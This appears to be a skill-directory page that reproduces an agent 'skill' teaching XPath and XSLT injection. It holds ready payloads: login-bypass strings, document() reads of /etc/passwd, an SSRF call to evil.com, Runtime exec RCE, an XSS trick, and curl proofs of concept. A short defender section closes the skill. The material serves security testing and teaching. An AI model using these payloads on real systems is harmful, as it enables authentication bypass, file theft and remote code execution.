Skip to content
Skillpedia
Security6.5k Β· #14086

xpath-xslt

What it does

This guide covers injection flaws in XML query and transform code, which can bypass logins or read files. It is for developers and testers who work with XML data stores and XML report builders.

When to use it

  • βœ“When an app builds XML queries using user input, such as a login check against an XML file.
  • βœ“When an XML report builder accepts transform rules from users.
  • βœ“When an authorized test wants to check whether XML processing reads outside data.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œOur legacy login checks users against an XML file. Can you check whether the query can be manipulated by input?”

5 new skills a week. 1 minute to read.

How it works

The agent looks for places where input is joined into an XML query or transform, then tests whether special characters change the result in a safe test environment.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

XPath + XSLT Injection

XPath Injection

XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.

Auth bypass

# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"

# Payload
user = "' or '1'='1"  β†’ //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='"  β†’ returns all users

Blind extraction

# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based β€” XPath has no sleep, but some impls support extensions

XSLT Injection

Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.

document() function β€” file read

<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/>  ← SSRF

EXSLT β€” RCE on some engines

<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>

<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>

Reflected XSS via XSLT

<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML β†’ unescaped output β†’ XSS -->

Detection

  • Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
  • Apps using XPath: legacy intranets, file-based config querying, XML feeds

PoC

# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"

# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
EOF

Severity

  • XPath auth bypass: Critical 9.8
  • XSLT file read: Critical 9.0
  • XSLT RCE: Critical 10.0
  • Blind XPath extraction: High 7-8

Defender

  • Use parameterized XPath via libraries (lxml.etree.XPath(expr) w/ variable bindings)
  • Disable XSLT extensions by default
  • Use XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE (libxslt)
  • Sanitize / strict-validate XML input schema

Cross-references

  • Upstream: skills/_corpus/payloads/XPATH Injection/ + XSLT Injection/
  • XXE (different XML class): skills/exploit/web/xxe.md
FAQ

What is XPath?

It is a query language for picking data out of XML documents.

Why is XSLT riskier than XPath?

The guide says XSLT is more powerful and some engines support file reads and other extensions.

What is the main fix?

Avoid building queries from raw input and use safe parameter handling instead.

Details

Original description by the author

XPath + XSLT injection β€” query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14086
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills